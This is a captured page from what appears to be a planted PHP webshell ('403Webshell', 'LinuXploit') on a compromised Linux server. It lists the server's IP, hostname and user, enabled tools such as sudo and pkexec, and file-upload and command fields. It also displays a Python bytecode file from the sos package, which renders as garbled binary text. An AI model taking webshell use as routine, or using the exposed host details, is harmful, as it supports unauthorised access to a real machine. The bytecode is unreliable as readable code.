403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sos/collector/clusters/__pycache__/kubernetes.cpython-310.pyc
o

G%@i@�@s,ddlmZddlmZGdd�de�ZdS)�)�quote)�Clusterc@s:eZdZdZdZdZdgZddiZdZddgZ	d	d
�Z
dS)�
kubernetesz�
    The kuberentes cluster profile is intended to be used on kubernetes
    clusters built from the upstream/source kubernetes (k8s) project. It is
    not intended for use with other projects or platforms that are built ontop
    of kubernetes.
    zCommunity Kubernetes)zkubernetes-masterzkubernetes.all�on�kubectl)�label�z-Filter node list to those with matching label)�rolerz,Filter node list to those with matching rolecCs�|jd7_|�d�r|jdt|�d���d�7_|�|j�}|ddkrag}dd�|�d	��d
�D�}|d��dd�D]}|��}|sQ|�|d�qA|d
|vr^|�|d�qA|Std��)Nz
 get nodesrz -l � �statusrcSsg|]}|r|�qS�r)�.0�xrr�C/usr/lib/python3/dist-packages/sos/collector/clusters/kubernetes.py�
<listcomp>)sz(kubernetes.get_nodes.<locals>.<listcomp>r	�,�output��z-Node enumeration did not return usable output)�cmd�
get_optionr�exec_primary_cmd�split�
splitlines�append�	Exception)�self�res�nodes�roles�nodeln�noderrr�	get_nodes"s 
 �zkubernetes.get_nodesN)�__name__�
__module__�__qualname__�__doc__�cluster_name�packages�sos_plugins�sos_plugin_optionsr�option_listr"rrrrrs�rN)�shlexr�sos.collector.clustersrrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit